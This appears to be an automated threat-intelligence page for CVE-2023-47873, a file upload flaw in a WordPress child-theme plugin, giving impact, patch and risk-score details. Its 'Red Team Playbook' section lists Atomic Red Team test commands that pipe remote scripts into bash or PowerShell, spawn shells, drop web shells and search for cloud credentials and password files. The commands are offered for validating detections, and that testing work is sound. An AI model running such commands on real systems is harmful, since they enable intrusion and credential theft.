CVE-2023-47873
Overview
This vulnerability is an unrestricted file upload flaw affecting the WEN Solutions WP Child Theme Generator plugin. The root cause lies in insufficient validation and filtering of uploaded files within the theme generation feature, specifically allowing dangerous file types such as PHP scripts. The affected component is the file upload functionality accessible via WordPress administrative endpoints related to theme management.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in WEN Solutions WP Child Theme Generator.This issue affects WP Child Theme Generator: from n/a through 1.0.9.
Impact
An attacker with authenticated administrator privileges can upload and execute arbitrary PHP code on the WordPress server, resulting in full site compromise. This includes the ability to execute commands, manipulate site content, access sensitive data, and potentially move laterally within the hosting environment. The prerequisite is possession of administrator credentials or equivalent access to the WordPress backend. The business consequence is a complete breach of site integrity and confidentiality, potentially leading to data loss, defacement, or persistent backdoors.
Solution
Remediation requires updating the WP Child Theme Generator plugin to version 1.1.3 or later, as released by WEN Solutions. Detailed patch instructions and advisory information are available at Patchstack’s vulnerability database and the WordPress plugin repository. Administrators should apply this update promptly to prevent exploitation. References for patching include https://patchstack.com/database/vulnerability/wp-child-theme-generator and the official WordPress plugin page.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the WP Child Theme Generator is characterized by an unrestricted upload of files with dangerous types. This flaw allows an attacker to upload potentially malicious files, such as PHP scripts, which can be executed on the server. The underlying issue stems from inadequate validation of file types during the upload process. The affected versions, ranging from an unspecified release to 1.0.9, do not impose sufficient restrictions on the file types that can be uploaded, enabling attackers to bypass security measures and introduce harmful content into the web application.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may craft a malicious file disguised as a legitimate image or document and upload it via the WP Child Theme Generator interface. Once the file is uploaded, the attacker can execute arbitrary code on the server, leading to unauthorized access to sensitive data, defacement of the website, or even complete control over the web server. Furthermore, this vulnerability can be leveraged in conjunction with other vulnerabilities or misconfigurations within the web application or server environment, amplifying its impact.
The real-world implications of this vulnerability are significant, particularly for businesses relying on the affected product. Successful exploitation can lead to data breaches, loss of customer trust, and potential legal ramifications. The financial impact can be substantial, encompassing costs related to incident response, recovery, and potential fines associated with data protection regulations. Additionally, the reputational damage incurred from a successful attack can have long-lasting effects on customer relationships and brand integrity. Organizations that utilize the WP Child Theme Generator must be acutely aware of these risks and take proactive measures to safeguard their environments.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to ensure that the WP Child Theme Generator is updated to the latest version, as this may contain patches addressing the vulnerability. Additionally, organizations should enforce strict file upload policies, including validating file types and implementing file size restrictions. Employing security measures such as Web Application Firewalls (WAFs) can help filter out malicious requests and provide an additional layer of protection. Regular security audits and penetration testing can also assist in identifying and addressing potential vulnerabilities before they can be exploited.
In conclusion, the unrestricted upload of files with dangerous types in the WP Child Theme Generator presents a serious security risk that can be exploited by malicious actors. Organizations using this product must prioritize the implementation of robust security measures to mitigate the potential impact of this vulnerability. By staying informed about the latest security updates, enforcing strict upload policies, and conducting regular security assessments, businesses can significantly reduce their exposure to this and similar vulnerabilities, thereby protecting their assets and maintaining the trust of their customers.
The CVSS score for CVE-2023-47873 has been revised upward from 7.2 to 9.1, reflecting a reassessment of the vulnerability’s criticality based on its potential impact and exploitability. This adjustment signals that the unrestricted file upload flaw in the WEN Solutions WP Child Theme Generator is now considered to pose a significantly higher risk than previously evaluated. CSURFACE threat intelligence notes that while exploit activity remains stable without new proof-of-concept exploits emerging, the elevated severity score underscores the urgency for defenders to reassess their exposure and prioritize detection capabilities around this vulnerability. The EPSS score, positioned in the upper percentile, confirms that this vulnerability is among those with a notable likelihood of exploitation in the wild, even if current exploitation trends have not surged. Consequently, the threat level for organizations using this product should be regarded as critical, warranting heightened vigilance despite the absence of new exploit developments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wensolutions | Wp Child Theme Generator | All |
cpe:2.3:a:wensolutions:wp_child_theme_generator:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-47873 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/wp-child-theme-generator/wordpress-wp-child-theme-generator-plugin-1-0-8-arbitrary-file-upload-vulnerability?_s_id=cve |